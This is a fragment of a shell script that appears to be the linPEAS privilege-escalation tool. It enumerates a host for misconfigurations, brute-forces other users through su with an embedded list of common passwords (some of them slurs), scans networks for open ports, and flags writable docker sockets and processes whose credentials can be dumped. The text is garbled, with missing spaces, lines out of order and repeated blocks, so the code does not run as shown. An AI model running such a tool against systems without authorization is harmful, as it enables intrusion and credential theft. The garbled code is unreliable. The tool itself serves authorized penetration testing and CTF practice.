ADVISORY="This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission."
[ -z "$THREADS"]&&THREADS="2"#If THREADS is empty, put number 2
[ -n "$THREADS"]&&THREADS="2"#If THREADS is null, put number 2
["$THREADS" -eq "$THREADS"] 2>/dev/null && : ||THREADS="2"#It THREADS is not a number, put number 2
HELP=$GREEN"Enumerate and search Privilege Escalation vectors.
${NC}This tool enum and search possible misconfigurations$DG(known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors.
${YELLOW}-h${BLUE} To show this message
${YELLOW}-q${BLUE} Do not show banner
${YELLOW}-e${BLUE} Perform extra enumeration
${YELLOW}-s${BLUE} SuperFast (don't check some time consuming checks) - Stealth mode
${YELLOW}-a${BLUE} All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly
${YELLOW}-w${BLUE} Wait execution between big blocks of checks
${YELLOW}-N${BLUE} Do not use colours
${YELLOW}-D${BLUE} Debug mode
${YELLOW}-P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
${YELLOW}-o${BLUE} Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files). Select a comma separated list.
${YELLOW}-L${BLUE} Force linpeas execution.
${YELLOW}-M${BLUE} Force macpeas execution.
${YELLOW}-d <IP/NETMASK>${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24
${YELLOW}-p <PORT(s)> -d <IP/NETMASK>${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select22if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139
${YELLOW}-i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
${YELLOW}-t${BLUE} Automatic network scan (host discovery and port scanning) - This option writes to files
$GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed$NC"
writeVB="/etc/anacrontab|/etc/apt/apt.conf.d|/etc/bash.bashrc|/etc/bash_completion|/etc/bash_completion.d/|/etc/cron|/etc/environment|/etc/environment.d/|/etc/group|/etc/incron.d/|/etc/init|/etc/ld.so.conf.d/|/etc/master.passwd|/etc/passwd|/etc/profile.d/|/etc/profile|/etc/rc.d|/etc/shadow|/etc/skey/|/etc/sudoers|/etc/sudoers.d/|/etc/supervisor/conf.d/|/etc/supervisor/supervisord.conf|/etc/systemd|/etc/sys|/lib/systemd|/etc/update-motd.d/|/root/.ssh/|/run/systemd|/usr/lib/cron/tabs/|/usr/lib/systemd|/systemd/system|/var/db/yubikey/|/var/spool/anacron|/var/spool/cron/crontabs|"$(echo$PATH 2>/dev/null | sed 's/:\.:/:/g'| sed 's/:\.$//g'| sed 's/^\.://g'| sed 's/:/$|^/g')#Add Path but remove simple dot in PATH
if grep -q \"$ushell\" /etc/shells;thensh_usrs="$sh_usrs|$uname";elsenosh_usrs="$nosh_usrs|$uname";fi
done
else
sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v "^root:"| grep -i "sh$"| cut -d ":" -f 1| tr '\n''|'| sed 's/|bin|/|bin[\\\s:]|^bin$|/'| sed 's/|sys|/|sys[\\\s:]|^sys$|/'| sed 's/|daemon|/|daemon[\\\s:]|^daemon$|/')"ImPoSSssSiBlEee"#Modified bin, sys and daemon so they are not colored everywhere
top2000pwds="123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper gemini asd123 winter hammer cooper america albert 777777 winner charles butterfly swordfish popcorn penguin dolphin carolina access 987654 hardcore corvette apples 12341234 sabrina remember qwer1234 edward dennis cherry sparky natasha arthur vanessa marina leonardo johnny dallas antonio winston \
snickers olivia nothing iceman destiny coffee apollo 696969 windows williams school madison dakota angelina anderson 1597531111 yamaha trinity rebecca nathan guitar compaq 123123123 toyota shannon playboy peanut pakistan diablo abcdef maxwell golden asdasd 123654 murphy monica marlboro kimberly gateway bailey 00000000 snowball scooby nikita falcon august test123 sebastian panther love johnson godzilla genesis brandy adidas zxcvbn wizard porsche online hello123 fuckoff eagles champion bubbles boston smokey precious mercury lauren einstein cricket cameron angel admin napoleon mountain lovely friend flowers dolphins david chicago sierra knight yankees wilson warrior simple nelson muffin charlotte calvin spencer newyork florida fernando claudia basketball barcelona 87654321 willow stupid samson police paradise motorola manager jaguar jackie family doctor bullshit brooklyn tigers stephanie slayer peaches miller heaven elizabeth bulldog animal 789456 scorpio rosebud qwerty12 franklin claire american vincent testing pumpkin platinum louise kitten general united turtle marine icecream hacker darkness cristina colorado boomer alexandra steelers serenity please montana mitchell marcus lollipop jessie happy cowboy 102030 marshall jupiter jeremy gibson fucker barbara adrian 1qazxsw2 1234432111111 startrek fishing digital christine business abcdefg nintendo genius 12qwaszx walker q1w2e3 player legend carmen booboo tomcat ronaldo people pamela marvin jackass google fender asdfghjk Password 1q2w3e4r5t zaq12wsx scotland phantom hercules fluffy explorer alexis walter trouble tester qwerty1 melanie manchester gordon firebird engineer azerty 147258 virginia tiger simpsons passion lakers james angelica 55555 vampire tiffany september private maximus loveme isabelle isabella eclipse dreamer changeme cassie badboy 123456a stanley sniper rocket passport pandora justice infinity cookies barbie xavier unicorn superstar \
stephen rangers orlando money domino courtney viking tucker travis scarface pavilion nicolas natalie gandalf freddy donald captain abcdefgh a1b2c3d4 speedy peter nissan loveyou harrison friday francis dancer 159357101010 spitfire saturn nemesis little dreams catherine brother birthday 1111111 wolverine victory student france fantasy enigma copper bonnie teresa mexico guinness georgia california sweety logitech julian hotdog emmanuel butter beatles 11223344 tristan sydney spirit october mozart lolita ireland goldfish eminem douglas cowboys control cheyenne alex testtest stargate raiders microsoft diesel debbie danger chance asdf anything aaaaaaaa welcome1 qwert hahaha forest eternity disney denise carter alaska zzzzzz titanic shorty shelby pookie pantera england chris zachary westside tamara password123 pass maryjane lincoln willie teacher pierre michael1 leslie lawrence kristina kawasaki drowssap college blahblah babygirl avatar alicia regina qqqqqq poohbear miranda madonna florence sapphire norman hamilton greenday galaxy frankie black awesome suzuki spring qazwsxedc magnum lovers liberty gregory 232323 twilight timothy swimming super stardust sophia sharon robbie predator penelope michigan margaret jesus hawaii green brittany brenda badger a1b2c3 444444 winnie wesley voodoo skippy shithead redskins qwertyu pussycat houston horses gunner fireball donkey cherokee australia arizona 1234abcd skyline power perfect lovelove kermit kenneth katrina eugene christ thailand support special runner lasvegas jason fuckme butthead blizzard athena abigail 8675309 violet tweety spanky shamrock red123 rascal melody joanna hello1 driver bluebird biteme atlantis arnold apple alison taurus random pirate monitor maria lizard kevin hummer holland buffalo 147258369007007 valentine roberto potter magnolia juventus indigo indian harvey duncan diamonds daniela christopher bradley bananas warcraft sunset simone renegade \
redsox philip monday mohammed indiana energy bond007 avalon terminator skipper shopping scotty savannah raymond morris mnbvcxz michele lucky lucifer kingdom karina giovanni cynthia a123456 14785212121212 wildcats ronald portugal mike helpme froggy dragons cancer bullet beautiful alabama 212121 unknown sunflower sports siemens santiago kathleen hotmail hamster golfer future father enterprise clifford christina camille camaro beauty 55555555 vision tornado something rosemary qweasd patches magic helena denver cracker beaver basket atlanta vacation smiles ricardo pascal newton jeffrey jasmin january honey hollywood holiday gloria element chandler booger angelo allison action 99999999 target snowman miguel marley lorraine howard harmony children celtic beatrice airborne wicked voyager valentin thx1138 thumper samurai moonlight mmmmmm karate kamikaze jamaica emerald bubble brooke zombie strawberry spooky software simpson service sarah racing qazxsw philips oscar minnie lalala ironman goddess extreme empire elaine drummer classic carrie berlin asdfg 22222222 valerie tintin therock sunday skywalker salvador pegasus panthers packers network mission mark legolas lacrosse kitty kelly jester italia hiphop freeman charlie1 cardinal bluemoon bbbbbb bastard alyssa 0123456789 zeppelin tinker surfer smile rockstar operator naruto freddie dragonfly dickhead connor anaconda amsterdam alfred a12345 78945612377777777 trooper skittles shalom raptor pioneer personal ncc1701 nascar music kristen kingkong global geronimo germany country christmas bernard benson wrestling warren techno sunrise stefan sister savage russell robinson oracle millie maddog lightning kingston kennedy hannibal garcia download dollar darkstar brutus bobby autumn webster vanilla undertaker tinkerbell sweetpea ssssss softball rafael panasonic pa55word keyboard isabel hector fisher dominic darkside cleopatra blue assassin amelia vladimir roland \
nigger national monique molly matthew1 godfather frank curtis change central cartman brothers boogie archie warriors universe turkey topgun solomon sherry sakura rush2112 qwaszx office mushroom monika marion lorenzo john herman connect chopper burton blondie bitch bigdaddy amber 456789 1a2b3c4d ultimate tequila tanner sweetie scott rocky popeye peterpan packard loverboy leonard jimmy harry griffin design buddha 1 wallace truelove trombone toronto tarzan shirley sammy pebbles natalia marcel malcolm madeline jerome gilbert gangster dingdong catalina buddy blazer billy bianca alejandro 543212525251112220000 water sucker rooster potato norton lucky1 loving lol123 ladybug kittycat fuck forget flipper fireman digger bonjour baxter audrey aquarius 1111111111 pppppp planet pencil patriots oxford million martha lindsay laura jamesbond ihateyou goober giants garden diana cecilia brazil blessing bishop bigdog airplane Password1 tomtom stingray psycho pickle outlaw number1 mylove maurice madman maddie lester hendrix hellfire happy1 guardian flamingo enter chichi 0987654321 western twister trumpet trixie socrates singer sergio sandman richmond piglet pass123 osiris monkey1 martina justine english electric church castle caesar birdie aurora artist amadeus alberto 246810 whitney thankyou sterling star ronnie pussy printer picasso munchkin morpheus madmax kaiser julius imperial happiness goodluck counter columbia campbell blessed blackjack alpha 999999999142536 wombat wildcat trevor telephone smiley saints pretty oblivion newcastle mariana janice israel imagine freedom1 detroit deedee darren catfish adriana washington warlock valentina valencia thebest spectrum skater sheila shaggy poiuyt member jessica1 jeremiah jack insane iloveu handsome goldberg gabriela elijah damien daisy buttons blabla bigboy apache anthony1 a1234567 xxxxxxxx toshiba tommy sailor peekaboo motherfucker montreal manuel madrid kramer \
katherine kangaroo jenny immortal harris hamlet gracie fucking firefly chocolat bentley account 3213212222 1a2b3c thompson theman strike stacey science running research polaris oklahoma mariposa marie leader julia island idontknow hitman german felipe fatcat fatboy defender applepie annette 010203 watson travel sublime stewart steve squirrel simon sexy pineapple phoebe paris panzer nadine master1 mario kelsey joker hongkong gorilla dinosaur connie bowling bambam babydoll aragorn andreas 456123151515 wolves wolfgang turner semperfi reaper patience marilyn fletcher drpepper dorothy creation brian bluesky andre yankee wordpass sweet spunky sidney serena preston pauline passwort original nightmare miriam martinez labrador kristin kissme henry gerald garrett flash excalibur discovery dddddd danny collins casino broncos brendan brasil apple123 yvonne wonder window tomato sundance sasha reggie redwings poison mypassword monopoly mariah margarita lionking king football1 director darling bubba biscuit 44444444 wisdom vivian virgin sylvester street stones sprite spike single sherlock sandy rocker robin matt marianne linda lancelot jeanette hobbes fred ferret dodger cotton corona clayton celine cannabis bella andromeda 76543214444 werewolf starcraft sampson redrum pyramid prodigy paul michel martini marathon longhorn leopard judith joanne jesus1 inferno holly harold happy123 esther dudley dragon1 darwin clinton celeste catdog brucelee argentina alpine 147852369 wrangler william1 vikings trigger stranger silvia shotgun scarlett scarlet redhead raider qweasdzxc playstation mystery morrison honda february fantasia designer coyote cool bulldogs bernie baby asdfghj angel1 always adam 202020 wanker sullivan stealth skeeter saturday rodney prelude pingpong phillip peewee peanuts peace nugget newport myself mouse memphis lover lancer kristine james1 hobbit halloween fuckyou1 finger fearless dodgers delete cougar \
charmed cassandra caitlin bismillah believe alice airforce 7777 viper tony theodore sylvia suzanne starfish sparkle server samsam qweqwe public pass1234 neptune marian krishna kkkkkk jungle cinnamon bitches 741852 trojan theresa sweetheart speaker salmon powers pizza overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 1414141245781237891234567891000000 universal trinidad tobias thursday surfing stuart stinky standard roller porter pearljam mobile mirage markus loulou jjjjjj herbert grace goldie frosty fighter fatima evelyn eagle desire crimson coconut cheryl beavis anonymous andres africa 134679 whiskey velvet stormy springer soldier ragnarok portland oranges nobody nathalie malibu looking lemonade lavender hitler hearts gotohell gladiator gggggg freckles fashion david1 crusader cosmos commando clover clarence center cadillac brooks bronco bonita babylon archer alexandre 123654789 verbatim umbrella thanks sunny stalker splinter sparrow selena russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 74185296369696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \
andy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 9517535555242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 11235813210123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \
SCAN_BAN_GOOD="$GREEN$FOUND_NC${BLUE} is available for network discover & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)"
printf$RED"[-] Err: Bad format. Example: 127.0.0.1/24\n"$NC;
if["$IP"="$NETMASK"];then
printf$RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i <IP> [-p <PORT(s)>]\n\n"$NC;
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E}"s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel7,${SED_RED_YELLOW},"| sed -${E}"s,$kernelB,${SED_RED},"
(id ||(whoami && groups)) 2>/dev/null | sed -${E}"s,$groupsB,${SED_RED},g"| sed -${E}"s,$groupsVB,${SED_RED_YELLOW},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$knw_usrs,${SED_GREEN},g"| sed -${E}"s,$knw_grps,${SED_GREEN},g"| sed "s,$USER,${SED_LIGHT_MAGENTA},g"| sed -${E}"s,$idB,${SED_RED},g"
if ! echo"$HOMESEARCH"| grep -q "$HOME"&& ! echo"$HOMESEARCH"| grep -qE "^/root|^/home|^/Users";then#If not listed and not in /home, /Users/ or /root, add current home folder
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E}"s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW},"| sed -${E}"s,$kernelDCW_Rhel7,${SED_RED_YELLOW},"| sed -${E}"s,$kernelB,${SED_RED},"
print_info "Check if you can mount umounted devices"
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#"| sed -${E}"s,$mountG,${SED_GREEN},g"| sed -${E}"s,$notmounted,${SED_RED},"| sed -${E}"s,$mounted,${SED_BLUE},"| sed -${E}"s,$Wfolders,${SED_RED},"| sed -${E}"s,$mountpermsB,${SED_RED},g"| sed -${E}"s,$mountpermsG,${SED_GREEN},g"
printf${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
if["$NOUSEPS"];then
print_ps | sed -${E}"s,$Wfolders,${SED_RED},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$rootcommon,${SED_GREEN},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed "s,root,${SED_RED},"| sed -${E}"s,$processesVB,${SED_RED_YELLOW},g"| sed "s,$processesB,${SED_RED},"| sed -${E}"s,$processesDump,${SED_RED},"
echo"$psline"| sed -${E}"s,$Wfolders,${SED_RED},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$rootcommon,${SED_GREEN},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed "s,root,${SED_RED},"| sed -${E}"s,$processesVB,${SED_RED_YELLOW},g"| sed "s,$processesB,${SED_RED},"| sed -${E}"s,$processesDump,${SED_RED},"
ps auxwww 2>/dev/null | awk '{print $11}'| xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root "| grep -v "$USER"| sed -${E}"s,$Wfolders,${SED_RED_YELLOW},g"| sed -${E}"s,$binW,${SED_RED_YELLOW},g"| sed -${E}"s,$sh_usrs,${SED_RED},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_RED},"| sed "s,root,${SED_GREEN},"
#-- PCS) Files opened by processes belonging to other users
if ! ["$IAMROOT"];then
print_2title "Files opened by processes belonging to other users"
print_info "This is usually empty because of the lack of privileges to read other user processes information"
lsof 2>/dev/null | grep -v "$USER"| grep -iv "permission denied"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed "s,root,${SED_RED},"
ifecho"$pslist"| grep -q "gdm-password";thenecho"gdm-password process found (dump creds from memory as root)"| sed "s,gdm-password process,${SED_RED},";else echo_not_found "gdm-password";fi
ifecho"$pslist"| grep -q "gnome-keyring-daemon";thenecho"gnome-keyring-daemon process found (dump creds from memory as root)"| sed "s,gnome-keyring-daemon,${SED_RED},";else echo_not_found "gnome-keyring-daemon";fi
ifecho"$pslist"| grep -q "lightdm";thenecho"lightdm process found (dump creds from memory as root)"| sed "s,lightdm,${SED_RED},";else echo_not_found "lightdm";fi
ifecho"$pslist"| grep -q "vsftpd";thenecho"vsftpd process found (dump creds from memory as root)"| sed "s,vsftpd,${SED_RED},";else echo_not_found "vsftpd";fi
ifecho"$pslist"| grep -q "apache2";thenecho"apache2 process found (dump creds from memory as root)"| sed "s,apache2,${SED_RED},";else echo_not_found "apache2";fi
ifecho"$pslist"| grep -q "sshd:";thenecho"sshd: process found (dump creds from memory as root)"| sed "s,sshd:,${SED_RED},";else echo_not_found "sshd";fi
crontab -l 2>/dev/null | tr -d "\r"| sed -${E}"s,$Wfolders,${SED_RED_YELLOW},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed "s,root,${SED_RED},"
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E}"s,$cronjobsG,${SED_GREEN},g"| sed "s,$cronjobsB,${SED_RED},g"
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r"| grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron."| sed -${E}"s,$Wfolders,${SED_RED_YELLOW},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed "s,root,${SED_RED},"
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E}"s,$cronjobsG,${SED_GREEN},g"| sed "s,$cronjobsB,${SED_RED},g"#MacOS paths
if ! ["$IAMROOT"]&&[ -w "/var/run/docker.sock"];then
echo"Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)"| sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
echo"Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)"| sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
echo"Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)"| sed -${E}"s,$groupsB,${SED_RED},g"| sed -${E}"s,$groupsVB,${SED_RED},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},g"| sed "s,$USER,${SED_LIGHT_MAGENTA},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$knw_usrs,${SED_GREEN},g"| sed "s,root,${SED_RED},"| sed -${E}"s,$knw_grps,${SED_GREEN},g"| sed -${E}"s,$idB,${SED_RED},g"
if["$genpol"];thenprintf"Weak general policy found on $f ($genpol)\n"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},g"| sed "s,$USER,${SED_RED},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$mygroups,${SED_RED},g";fi
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
if["$userpol"];thenprintf"Possible weak user policy found on $f ($userpol)\n"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},g"| sed "s,$USER,${SED_RED},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$mygroups,${SED_RED},g";fi
#for g in `groups`; do
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
if["$grppol"];thenprintf"Possible weak user policy found on $f ($grppol)\n"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},g"| sed "s,$USER,${SED_RED},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$mygroups,${SED_RED},g";fi
echo"$line"| sed -${E}"s,$dbuslistG,${SED_GREEN},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},"| sed -${E}"s,$rootcommon,${SED_GREEN},"| sed -${E}"s,$knw_usrs,${SED_GREEN},"| sed "s,$USER,${SED_LIGHT_MAGENTA},"| sed "s,root,${SED_RED},";
discovery_port_scan "$local_ip/24"22| sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g'| grep -A 256"Ports going to be scanned"| grep -v "Ports going to be scanned"| grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp
sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips
rm $Wfolder/.ips.tmp 2>/dev/null
whileread disc_ip;do
me=""
if["$disc_ip"="$local_ip"];then
me=" (local)"
fi
echo"Scanning top ports of ${disc_ip}${me}"
(tcp_port_scan "$disc_ip"""| grep -A 1000"Ports going to be scanned"| grep -v "Ports going to be scanned"| sort | uniq) 2>/dev/null
printf"\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n""$scrShrng""$flShrng""$rLgn""$rmMgmt""$rAE""$bmM";
(id ||(whoami && groups)) 2>/dev/null | sed -${E}"s,$groupsB,${SED_RED},g"| sed -${E}"s,$groupsVB,${SED_RED_YELLOW},g"| sed -${E}"s,$sh_usrs,${SED_LIGHT_CYAN},g"| sed "s,$USER,${SED_LIGHT_MAGENTA},g"| sed -${E}"s,$nosh_usrs,${SED_BLUE},g"| sed -${E}"s,$knw_usrs,${SED_GREEN},g"| sed "s,root,${SED_RED},"| sed -${E}"s,$knw_grps,${SED_GREEN},g"| sed -${E}"s,$idB,${SED_RED},g"
echo""
if["$MACPEAS"];then
print_2title "Current user Login and Logout hooks"
